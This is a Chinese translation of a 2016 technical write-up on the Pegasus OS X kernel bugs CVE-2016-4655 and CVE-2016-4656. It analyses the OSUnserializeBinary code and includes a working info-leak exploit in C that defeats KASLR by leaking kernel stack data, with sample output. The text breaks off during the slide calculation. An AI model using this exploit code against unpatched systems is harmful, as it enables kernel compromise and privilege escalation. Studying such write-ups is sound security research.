0%

(译)Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)

翻译自 jndok’s blog   原文链接:http://jndok.github.io/2016/10/04/pegasus-writeup/

Introduction

大家好,在这篇博文中,我决定讲述一些原理,是关于两个在 Pegasusu spyware 中提到的 OS X/iOS 的内核漏洞的,影响至 OS X 10.11.6 以及 iOS 9.3.4 版本。我尝试对这些漏洞以及它们的利用程序进行深入的分析。

由于这是我写下的第一篇博客,因此有什么错误或粗糙的地方,还请你多一点耐心,如果你发现任何错误或者困扰的地方,请发邮件给我 me@jndok.net ,我将会尽力帮助你。

最后一点需要注意的地方就是:我们只将着重讲述 OS X 内核。这是由于在 iOS 上采取的安全措施,使得在 iOS 的环境中来利用这两个漏洞实在是要困难得多。另外,这篇博文也针对初学者,我们将尽量使讲述直接明了。

以下是本文的结构:

  • 介绍(Introduction)
  • OSUnserializeBinary 概览 —— OSUnserializeBinary 的细节、数据格式以及具体如何运行。 (Overview of OSUnserializeBinary)
  • 漏洞分析 —— 两个漏洞的具体分析 (Bugs analysis)
  • 利用程序 —— 非常有趣的部分! (Exploitation)
  • 总结(Conclusion)

OSUnserializeBinary 概览

XNU 内核实现了自己的一套规则,叫做 OSUnserializeXML,是用来对被存入内核的 XML 格式的数据进行反序列化。
最近,OSUnserializeBinary 作为新的函数加入了它。这个函数的用途跟 XML 是差不多的,但是处理的格式并不相同。OSUnserializeBinary 将二进制格式转换为基本内核数据对象。这种二进制格式虽然没有文档描述,但是非常简单。在分析函数的代码之前,我们先讲解一下这种格式。

OSUnserializeBinary 的二进制格式

OSUnserializeBinary 处理的二进制数据是简单的连续的 uint32_t(32位)数据流。成员为32位的数组可能更能体现这种描述。仅仅只是一个接一个的一串数据,每个整数都描述了一些信息。
有效数据流的首个整数要求是一个唯一的签名(0x000000d3)。然后每个其他的整数值都使用其中的一些位来描述数据类型,数据大小。当然也可以表示数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */
enum {
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
};

正如你所看到的,第31位(红色部分)通常用来表明当前的集合(collection)是否结束,第32->24位(蓝色部分)用来存储实际的数据类型,第23->0位(绿色部分)用来存储实际的元素长度。

实际的例子可能更容易理解,如下:

1
0x000000d3 0x81000000 0x09000004 0x00414141 0x8b000001

以上数据对应的二进制格式为:

1
2
3
4
<dict>
<string>AAA</string>
<boolean>1</boolean>
</dict>

你可以看到,我们给字典(dictionary)里的第一个集合的最后一个元素做了标记(0x81000000),布尔量(boolean)作为第二集合的最后一个元素(0x8b000001)。然后我们直接把字符数据(AAA)编码嵌入其中,包含了最后一个 \0 结束标识(0x00414141)。最后,对于布尔量,不需要再对数据进行编码了,因为它的大小(最后一位)就代表了这个量是为 TRUE 还是 FALSE。

还有一个重点是关于集合的概念,以及如何标记集合的结束。一个集合表示的是同一层次上的一组对象。举例来说,一个字典里的元素都属于同一个集合。当为 OSUnserializeBinary 制作二进制字典时,尤为重要的是,通过设置第一位(也就是 enum 中的 kOSSerializeEndCollection 标志)来标记集合的结束。下面是一个 XML 的例子,能够更好的阐明这个概念:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dict>                          <!-- dict, level 0 | END! -->
<string>AAA</string> <!-- string, level 1 -->
<boolean>1</boolean> <!-- bool, level 1 -->

<string>BBB</string> <!-- string, level 1 -->
<boolean>1</boolean> <!-- bool, level 1 -->

<dict> <!-- dict, level 1 -->
<string>CCC</string>
<boolean>1</boolean> <!-- bool, level 2 | END! -->
</dict>

<string>DDD</string> <!-- string, level 1 -->
<boolean>1</boolean> <!-- bool, level 1 | END! -->
</dict>

你可以在这个例子中看见很多层次或者集合。你也可以看见我是如何对每个层次/集合的最后一个元素做结束标记的。如果你忘记这样做了,OSUnserializeBinary 将会退出然后返回一个有关于错误的 error 参数,所以请一定要记住!另外还要注意,在最外层的字典中,我对最后一个元素,其实也就是 level 0 中的唯一一个元素做了结束标记。

希望现在你能较好的理解二进制格式了!我们将要开始准备分析 OSUnserializeBinary 的代码了。

OSUnserializeBinary 分析

OSUnserializeBinary 只在 OSUnserializeXML 中调用。如果函数在输入数据的最开始发现了唯一的二进制标识(0x000000d3),那么它就知道这部分数据是二进制格式的,而不是 XML,然后就会把这些数据传递给 OSUnserializeBinary。

libkern/c++/OSUnserializeXML.cpp

1
2
3
4
5
6
7
8
9
10
11
12
OSObject* OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
if (!buffer)
return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature))
return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer))
return OSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}

OSUnserializeBinary 的实际代码,最新的可被攻击的 OS X 版本在这里

简单地说,代码所做的就是一直迭代包含了二进制数据的缓冲区,一次解析一个 uint32_t。在解析过程中,它将会创建一个 OSObject* 返回给调用者。这个返回对象是一个容器(container)对象,意味着这种对象可以包含其他的对象。也就是说,无论是一个字典,一个数组或者一个散列集合,一旦在这种格式下实现,它们就是唯一的容器对象。

这意味着,在 level 0(也被叫做第一个集合)上,只能有一个对象,而这个对象必须是一个容器。换句话说,所有的你构造的二进制数据必须包含一个字典,或是数组,或是散列集合。在 level 0 上,第一个有效的容器之前或之后出现的任何对象都将被忽略。

基于以上的概念,现在开始浏览代码吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
...
while (ok)
{
bufferPos += sizeof(*next);
if (!(ok = (bufferPos <= bufferSize))) break;
key = *next++;
len = (key & kOSSerializeDataMask);
wordLen = (len + 3) >> 2;
end = (0 != (kOSSerializeEndCollecton & key));
newCollect = isRef = false;
o = 0; newDict = 0; newArray = 0; newSet = 0;
switch (kOSSerializeTypeMask & key)
{
case kOSSerializeDictionary:
...
case kOSSerializeArray:
...
case kOSSerializeSet:
...
case kOSSerializeObject:
...
case kOSSerializeNumber:
...
case kOSSerializeSymbol:
...
case kOSSerializeString:
...
case kOSSerializeData:
...
case kOSSerializeBoolean:
...
default:
break;
}
...

在一些初始化和基本的正常检测之后,这个函数开始了它的主要的 while (ok) 循环。这是一个反序列化操作循环,将会迭代二进制数据,一个整数接一个整数,并且反序列化这些数据对象。

在这个片段的最开始,是循环增量的代码部分,同时也读取了当前的整数,并赋值给 key。当前数据的长度随后被算出,并保存在 len 中。最后,如果 kOSSerializeEndCollecton 标识在当前 key 中被设置了,则设置布尔变量 end。

然后,key 中的数据类型将会被 switch,每一个 case 都会适当的分配一个与它的数据类型格式相对应的对象。比如,kOSSerializeDictionary case:

1
2
3
4
case kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
break;

o 是一个 OSObject 指针,指向当前循环中的正在反序列化的对象,会在每个 case 中被赋值。

1
2
3
4
5
6
case kOSSerializeData:
bufferPos += (wordLen * sizeof(uint32_t));
if (bufferPos > bufferSize) break;
o = OSData::withBytes(next, len);
next += wordLen;
break;

因为在数据流中,OSData 对象代表了嵌入的数据,bufferPos 会适当地增加,以跳过内联数据部分,避免把它们当作二进制格式输入。使用同样的内联数据,也会创建一个 OSData 对象,然后 o 被设置为新的实例。最后,next 也会增加,同样是为了跳过内联数据。

通过阅读 switch 语句,你应该能够较容易的明白每一个 case,因为这些代码都非常相像。

所以,现在让我们跳过 switch 语句。

1
if (!(ok = (o != 0))) break;

如果 o 仍为 NULL,比如,在这个循环中没有有效的对象被反序列化,则退出。

1
2
3
4
5
6
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}

这也是这个代码的非常重要的部分,因为我们的其中一个漏洞就跟它有关。我们将会在之后介绍这个漏洞,所以请仔细的看接下来的部分。

基本上,这段代码说的是,如果反序列化的对象不是一个引用(比如,一个指向我们的数据格式中其他对象的指针,你可以通过 kOSSerializeObject 来创建),则把这个对象保存到 objsArray 数组中,这是一个由 OSUnserializeBinary 创建的数组,用来保持对每个反序列化对象的追踪,除了我们提到过的引用。

让我们一起来看看 setAtIndex 宏定义吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define setAtIndex(v, idx, o)                                                           \
if (idx >= v##Capacity) \
{ \
uint32_t ncap = v##Capacity + 64; \
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o)); \
if (!nbuf) ok = false; \
if (v##Array) \
{ \
bcopy(v##Array, nbuf, v##Capacity * sizeof(o)); \
kfree(v##Array, v##Capacity * sizeof(o)); \
} \
v##Array = nbuf; \
v##Capacity = ncap; \
} \
if (ok) v##Array[idx] = o;

如果我们将要存储的数据的索引比现在的数组大小还要大的话,数组将会增加。否则,将会进行简单的解引用和存储操作。现在让我们回到主循环代码吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if (dict)
{
if (sym)
{
if (o != dict) ok = dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *) OSSymbol::withString(str);
o->release();
o = 0;
}
ok = (sym != 0);
}
}
else if (array)
{
ok = array->setObject(o);
o->release();
}
else if (set)
{
ok = set->setObject(o);
o->release();
}
else
{
assert(!parent);
result = o;
}

if-else 语句负责存储每个反序列化对象到我们之前所提到过的容器中。注意这里的三个变量(dict, array, 以及 set)将会在第一个循环中被置 NULL,并且会一直保持,直到在数据流中找到一个字典,数组或者散列集合。

这意味着 result 指针(返回的对象)将会在数据中一直向前移动,直到找到合适的容器对象。所以,在 level 0 上,位于适当的容器对象之前或者之后的对象,都会被忽略。

现在把重点放在 if (dict) 分支上,因为它对于我们的 UAF 漏洞来说也很重要。正如你可能知道的,一个字典包含着交替的对象,一个代表着 key,另外一个代表着 value。 key,作为 OSUnserializeBinary 格式的特例,只能是 OSString 或者 OSSymbol 类型。正如你在上面的代码片段中看到的那样,如果是 OSString ,那么它将会被自动转换为 OSSymbol。

现在,这段代码就是保持着在 keys 和 values 之间交替。sym 将会在第一次循环中被置 NULL,所以 else 分支将会被调用。它假设字典的第一个值是 key,所以判断是 OSSymbol 或者 OSString,然后都转换到 OSSymbol 中。在下一次迭代时,我们将会处理这个 key 所对应的 value 值。因为 sym 现在已经被赋值了,if (sym) 分支将会被调用,dict->setObject(sym, o, true) 将会在字典中设置正确的键/值对。
sym 将会被再次置 NULL,因为在下一次迭代中,我们假设遇到的是 key,然后是 value,然后循环。

我们快要完成 OSUnserializeBinary 了,下面继续:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (newCollect)
{
if (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if (!ok) break;
}
parent = o;
dict = newDict;
array = newArray;
set = newSet;
end = false;
}

布尔变量 newCollect 仅仅在找到容器对象时被设置(查看一下 switch 中的 kOSSerializeDictionary, kOSSerializeArray 以及kOSSerializeSet cases)。如果这个容器对象的 end 没有被设置,就意味着在这一层,在这个容器之后,还有其他的对象。这种情况下,解析将会“缩进”,意味着我们开始了一个新的层次。

如果在新容器中,我们到达了最后一个对象,那么我们就要返回,然后继续反序列化之前容器中的下一个对象了(如果 kOSSerializeEndCollection 没有被设置,那么就表示在新容器之后,还有其他的对象)。

为了处理多个层次的缩进,每次遇到一个新的容器,而且容器之后还有对象,那么这个算法将会把父容器存入 stackArray 中,然后再开始反序列化新容器中的对象。当新容器结束的时候,父容器将会从 stackArray 中取出,然后继续反序列化之后的对象。

你可以看见父指针(指向包含当前对象的容器对象)会被存入 stackArray 数组中,在我们找到对象中的另一个 kOSSerializeEndCollecton 标志之前,新的对象都会被存在新的容器中。指示被存入哪个容器的三个通用变量(dict, array, and set)也会被设置为新容器。当找到 kOSSerializeEndCollecton 标志时,必要的话,算法将会对 level 递减:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (end)
{
if (!stackIdx) break; /* j: when there are no more levels, deserialization is done; exit */
parent = stackArray[stackIdx]; /* j: pop parent off the stackArray */
stackIdx--;
set = 0;
dict = 0;
array = 0;
/* j: cast parent to proper container and resume deserialization */
if (!(dict = OSDynamicCast(OSDictionary, parent)))
{
/* j: if parent can't be properly cast to a container, abort */
if (!(array = OSDynamicCast(OSArray, parent)))
ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}

之前的容器将会从 stackArray 中取回,然后重新给 parent 赋值。之后三个通用变量互斥地重新转变为父类,所以对象又将会被存入之前的容器中。

如果新容器是父容器的最后一个元素,那么缩进就没有必要了,因为在新容器之后没有属于父容器的对象,所以我们只需要将所有的元素都存入新容器中,然后同时退出新容器和父容器即可。以下是一些 XML 例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<dict>
<string>str_1<\string>
<boolean>1</boolean>

<string>str_2</string>
<boolean>1</boolean>

<dict> <!-- new level (1) -->
<string>str_3</string>
<boolean>1</boolean>

<string>str_4</string>
<boolean>1</boolean>

<string>str_5</string>
<boolean>1</boolean> <!-- END LEVEL 1! -->
<dict> <!-- there are objects after this new container -->
<!-- we have to go back a level and push str_6 inside the outer dict -->
<string>str_6</string>
<boolean>1</boolean> <!-- END LEVEL 0! -->
</dict>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dict>
<string>str_1</string>
<boolean>1</boolean>

<string>str_2</string>
<boolean>1</boolean>

<dict> <!-- END LEVEL 0! -->
<string>str_3</string>
<boolean>1</boolean>

<string>str_4</string>
<boolean>1</boolean>

<string>str_5</string>
<boolean>1</boolean> <!-- END LEVEL 1! -->
<dict> <!-- there is nothing after this dict, do not indent and finally exit -->
</dict>

我试图使事情更清楚,所以对已经比较直接的代码做了很多解释。解释代码永远不会比阅读代码更好,所以我建议你尝试通过阅读 OSUnserializeBinary 代码来消除自己的疑惑。

现在(终于!)是时候来看看这些漏洞,找到真正的乐趣了!

漏洞分析

在这篇博文中,我们要讨论的两个漏洞分别为 CVE-2016-4655 和 CVE-2016-4656。前面一个是 info-leak 漏洞,后面一个是 use-after-free 漏洞。我们先从 info-leak 开始,然后转向 use-after-free。

开始之前:我将尽量使事情直接明了,并在接下来的部分尽可能的讲解,同时我也发布了一些外部引用链接(可在文章末尾找到),以供你阅读,加深你的理解!

CVE-2016-4655 –– 内核信息泄漏

好的,首先:什么是信息泄漏(info-leak)[1]?这是一个安全漏洞,使得攻击者可以访问到不应被访问的信息。很多情况下,这些信息就是内核地址。它们在帮助我们计算 KASLR slide[2] 时是十分有用的,KASLR slide 是指内核每次启动时都会偏移的一个随机量。我们需要这个 slide 来进行代码重用攻击[3],比如 ROP[4]

现在让我们一起来看一看在 OSUnserializeBinary 的 switch 语句中的 kOSSerializeNumber case吧:

1
2
3
4
5
6
7
8
9
case kOSSerializeNumber:
bufferPos += sizeof(long long);
if (bufferPos > bufferSize) break;
value = next[1];
value <<= 32;
value |= next[0];
o = OSNumber::withNumber(value, len);
next += 2;
break;

这里有什么不对的地方呢?它没有对 OSNumber 的长度做检查!我们可以创建一个任意长度的 number。通过在内核中注册一个用户客户端[5]对象,在其属性中包含一个畸形的OSNumber,然后读取该属性,使得内核读取超过 OSNumber 边界的字节,这个小疏忽很容易就变成了信息泄漏。因为一个 OSNumber 对象的最大为64位(检查数据是如何获得读入变量值),我们本不应该超过这个界限。我们将在之后讲解如何利用这一点。

CVE-2016-4656 –– 内核 UAF

同样我们再一次提问:什么是 use-after-free[6]?这是一种当已被释放的内存仍然在被某个地方引用,然后使用它的情况。想象一下,一个对象已经被释放了,它最初的数据也已经被销毁了,但是程序里仍然有某个地方认为这个对象还存在着。这是造成多么糟糕的行为啊。

我们显然可以利用它,通过使我们的数据,在该对象被使用之前,重新占据已被释放的内存[7]。我们将会在之后讲解它的利用程序。

这个漏洞实际上是由于 OSSymbol 中负责反序列化 OSString 类型的字典键值代码造成的。

1
2
3
4
5
6
7
8
9
10
11
...
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o))) {
sym = (OSSymbol *) OSSymbol::withString(str);
o->release();
o = 0;
}
ok = (sym != 0);
}

这段代码很好,注意到 o->release() 了吗?这里释放了 o 指针,在特定的循环中,这个指针指向的是 OSString 反序列化对象。出现什么问题了呢?你还记得之前的 objsArray 数组吗?就是那个存储所有反序列化对象的?这段释放代码实际上发生在 setAtIndex 宏被调用之后。这意味着已经被释放了的 OSString ,实际上还在被 objsArray 引用,因为 setAtIndex 宏并没有实现任何关于引用计数的机制,所以这个引用存储在数组中不会被移除。

在一般情况下,这是没有什么问题的,比如,不在 objsArray 中创建对其他对象的引用,但是让我们来看一看 switch 语句中的 kOSSerializeObject case:

1
2
3
4
5
6
case kOSSerializeObject:
if (len >= objsIdx) break;
o = objsArray[len];
o->retain();
isRef = true;
break;

正如我们前面所指出的那样,这段代码是用来创建对其他对象的引用。正是我们所需要的!这里也有一个非常棒的函数 retain,可以用来使用已被释放的对象。完美的 use-after-free!

我们可以序列化一个字典,包含一个 OSString key,对应一些值,然后序列化一个 kOSSerializeObject 来引用这个 OSString,这个 OSString 将会在我们读取它的时候被释放,随后对已被释放的对象调用 retain。

利用程序

在这最后一部分,我们将研究利用这个两个内核错误在 OS X 10.11.6上实现完整的 LPE。请注意:有许多的概念引用不在本博文讲解的范围内,我会发布一些外部链接来越过它们。

Exploiting CVE-2016-4655

我们将从 info-leak 开始,正如我们之前所说的,info-leak 对于越过 KASLR 是非常有用的,通过获得内核偏移来进行。在打破 KASLR 之后,我们将准备发起一次完整的攻击,利用另一个漏洞,来获得代码执行权,使用 KASLR 偏移,使得正确执行我们的 ROP 成为可能,然后攻破系统。

我们可以在内核中创建一个用户客户端对象,并为它设置属性。这些属性只是一串通过字典来设置的键/值对。幸运的是,我们可以使用二进制格式来设置属性(因为我们可以直接调用 OSUnserializeXML 函数,这个函数会调用二进制数据情况下的 OSUnserializeBinary 函数),而不是传统的 XML 格式的数据。这让我们可以创建一个字典,包含畸形的 OSNumber,字典被用来设置为客户端对象的属性。

我们通过 IOServiceOpen 函数来连接内核服务,从而隐式地创建用户端。但是,我们将要使用的是一个私有函数,io_service_open_extended,这个函数是 IOServiceOpen 内部调用的。这个私有函数,以及一些我们将要用到的函数,都被定义在 IOKit/iokitmig.h 头文件中。注意,你的文件必须编译成32位的 Mach-O,否则不能调用这个函数(我猜测是遗留问题?)。

以下是 info-leak 利用计划回顾:

  • 制作一个包含超长OSNumber的序列化二进制字典。
  • 使用序列化字典在内核中的用户客户端对象中设置属性。
  • 读取设置的属性(OSNumber),通过超长的大小泄漏相邻的数据。
  • 使用一些读取的数据来计算 kernel slide。

以下是实际代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
uint64_t kslide_infoleak(void)
{
kern_return_t kr = 0, err = 0;
mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
io_service_t serv = 0;
io_connect_t conn = 0;
io_iterator_t iter = 0;
uint64_t kslide = 0;
void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big numbe
host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr == KERN_SUCCESS) {
printf("(+) Dictionary is valid! Spawning user client...\n");
} else
return -1;
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
return -1;
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);
char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;
kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
printf("(+) Done! Calculating KASLR slide...\n");
} else
return -1;
#if 0
for (uint32_t k = 0; k < 128; k += 8) {
printf("%#llx\n", *(uint64_t *)(buf + k));
}
#endif
uint64_t hardcoded_ret_addr = 0xffffff80003934bf;
kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;
printf("(i) KASLR slide is %#016llx\n", kslide);
return kslide;
}

制作字典

我们将要使用 enum 中描述的那些来创建二进制序列化数据,一种较为简单的方式是分配内存,然后使用指针向其中写入掩码值。

1
2
3
4
void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

我们的宏是非常有用的,因为它使我们可以向已分配的内存中写入数据,并且使索引在每次使用后更新。

所以,使用我们之前讲过的知识,现在让我们用 XML 写下字典吧:

1
2
3
4
<dict>
<symbol>AAA</symbol>
<number size=0x200>0x4141414141414141</number>
</dict>

转换为二进制:

1
2
3
4
5
6
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big number

在不创建用户客户端的情况下测试我们的字典是否有效,我们可以使用 io_service_get_matching_services_bin 私有函数(同样是在 IOKit/iokitmig.h 头文件中),之后在触发 UAF 漏洞中也会使用到。

1
2
3
4
5
6
7
host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr == KERN_SUCCESS) {
printf("(+) Dictionary is valid! Spawning user client...\n");
} else
return -1;

如果返回值等于0,那么我们创建的字典将会被正确解析,当然也就有效。现在我们已经确定的字典的有效性,那么我们可以通过它来设置属性了,继续来创建用户客户端。

产生用户客户端

就像之前提到的那样,我们将要通过在 service 中调用 io_service_open_extended 来产生用户客户端。使用什么服务并不重要,只要它能提供客户端。在这个例子中,我们通过打开 IOHDIXController(被用来存储磁盘数据)服务,来产生 IOHDIXControllerUserClient 对象,所以我们的代码是这样的。

1
2
3
4
5
6
7
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
return -1;

首先,我们要获得服务的一个端口,可以使用 IOServiceGetMatchingService 函数,这个函数将会从 IORegistry 中过滤出我们的服务,通过包含服务名字(IOServiceMatching)的匹配字典。然后我们使用私有函数 io_service_open_extended 打开这个服务(产生用户客户端)。这可以让我们直接指定属性。

现在,客户端是用我们指定的属性来创建的。我们怎样访问它呢?我们需要在 IORegistry 中手动迭代,直到找到我们的客户端。然后,我们将会读取属性,从而造成 info-leak。

1
2
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);

这段代码所做的是,创建一个 io_iterator_t 并且将其设置为 IORegistry 中的 serv。 serv 只是一个代表内核中实际驱动对象的 Mach 端口。因为用户客户端是主驱动对象的客户端,所以在 IORegistry 中,我们的用户客户端将会紧挨着驱动对象之后创建。因此,我们只需增加一次迭代,就可以获得表示我们用户客户端的 Mach 端口。一旦用户客户端对象在内核中被创建,且我们在 IORegistry 中找到它,那么我们就可以读取它的属性,来触发 info-leak 了。

读取属性

1
2
3
4
5
6
7
8
char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;
kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
printf("(+) Done! Calculating KASLR slide...\n");
} else
return -1;

我们再次使用一个私有函数 io_registry_entry_get_property_bytes。这个函数跟 IORegistryEntryGetProperty 相似,但是可以让我们直接获取原始字节。所以,通过它,buf 缓冲区将会包含我们的已被泄漏的字节。让我们打印一下,看看这里都有什么吧:

1
2
3
for (uint32_t k = 0; k < 128; k += 8) {
printf("%#llx\n", *(uint64_t *)(buf + k));
}

以下是输出:

1
2
3
4
5
6
7
8
9
0x4141414141414141  // our valid number
0xffffff8033c66284 //
0xffffff8035b5d800 //
0x4 // other data on the stack between our valid number and the ret addr...
0xffffff803506d5a0 //
0xffffff8033c662b4 //
0xffffff818d2b3e30 //
0xffffff80037934bf // function return address
...

第一个值,0x4141414141414141,是我们的实际数据,还记得吗?剩下的值都是从内核栈上面泄漏出来的数据。现在,查看从用户客户端读取属性的内核代码是非常有用的,这样我们就可以更清楚的了解发生了什么。实际代码存在于 is_io_registry_entry_get_property_bytes 函数中,被 io_registry_entry_get_property_bytes 调用。

iokit/Kernel/IOUserClient.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* Routine io_registry_entry_get_property */
kern_return_t is_io_registry_entry_get_property_bytes(
io_object_t registry_entry,
io_name_t property_name,
io_struct_inband_t buf,
mach_msg_type_number_t *dataCnt )
{
OSObject * obj;
OSData * data;
OSString * str;
OSBoolean * boo;
OSNumber * off;
UInt64 offsetBytes;
unsigned int len = 0;
const void * bytes = 0;
IOReturn ret = kIOReturnSuccess;
CHECK( IORegistryEntry, registry_entry, entry );
#if CONFIG_MACF
if (0 != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name))
return kIOReturnNotPermitted;
#endif
obj = entry->copyProperty(property_name);
if( !obj)
return( kIOReturnNoResources );
// One day OSData will be a common container base class
// until then...
if( (data = OSDynamicCast( OSData, obj ))) {
len = data->getLength();
bytes = data->getBytesNoCopy();
} else if( (str = OSDynamicCast( OSString, obj ))) {
len = str->getLength() + 1;
bytes = str->getCStringNoCopy();
} else if( (boo = OSDynamicCast( OSBoolean, obj ))) {
len = boo->isTrue() ? sizeof("Yes") : sizeof("No");
bytes = boo->isTrue() ? "Yes" : "No";
} else if( (off = OSDynamicCast( OSNumber, obj ))) { /* j: reading an OSNumber */
offsetBytes = off->unsigned64BitValue();
len = off->numberOfBytes();
bytes = &offsetBytes;
#ifdef __BIG_ENDIAN__
bytes = (const void *)
(((UInt32) bytes) + (sizeof( UInt64) - len));
#endif
} else
ret = kIOReturnBadArgument;
if( bytes) {
if( *dataCnt < len)
ret = kIOReturnIPCError;
else {
*dataCnt = len;
bcopy( bytes, buf, len );
}
}
obj->release();
return( ret );
}

我们是读取的 OSNumber 类型,所以直接看 OSNumber 的情况:

1
2
3
4
5
6
7
8
9
...
else if( (off = OSDynamicCast( OSNumber, obj ))) {
offsetBytes = off->unsigned64BitValue(); /* j: the offsetBytes variable is allocated on the stack */
len = off->numberOfBytes(); /* j: this reads out our malformed length, 0x200 */
bytes = &offsetBytes; /* j: bytes* ptr points to a stack variable */
...
}
...

然后,跳出 if-else 语句:

1
2
3
4
5
6
7
8
if( bytes) {
if( *dataCnt < len)
ret = kIOReturnIPCError;
else {
*dataCnt = len;
bcopy( bytes, buf, len ); /* j: this leaks data from the stack */
}
}

bcopy 执行复制操作时,它将会从 bytes 指针中一直读取之前我们构造的那个超过常规的长度的字节,而 bytes 指针指向的是一个栈变量,从而可以有效地从栈上读取泄漏的数据。之后,它将会读取到存在栈上的函数的返回地址。正如我们所知道的那样,这个地址可以在 kernel 二进制文件中对应找到它偏移前的静态地址。所以,通过用我们从栈中得到的泄漏地址(偏移后的)减去对应的静态地址(未偏移的)。我们就能得到内核偏移(kernel slide)!

计算内核偏移

所以,我们需要找到未偏移(unslid)的内核地址。打开你喜欢的反编译软件(本例中用的是 Hopper,因为它比 IDA 更快),加载 kernel 文件,找到 is_io_registry_entry_get_property_bytes 函数。

现在,我们只需要找到这个函数的 Xrefs。 Hopper 把 Xrefs 列在函数开始的地方的右侧,在 IDA 中需要使用 CMD-X 或者 CTRL-X。

1
2
3
4
5
6
; XREF=sub_ffffff80003933c0+250

...
ffffff80003934ba call _is_io_registry_entry_get_property_bytes /* the actuall call */
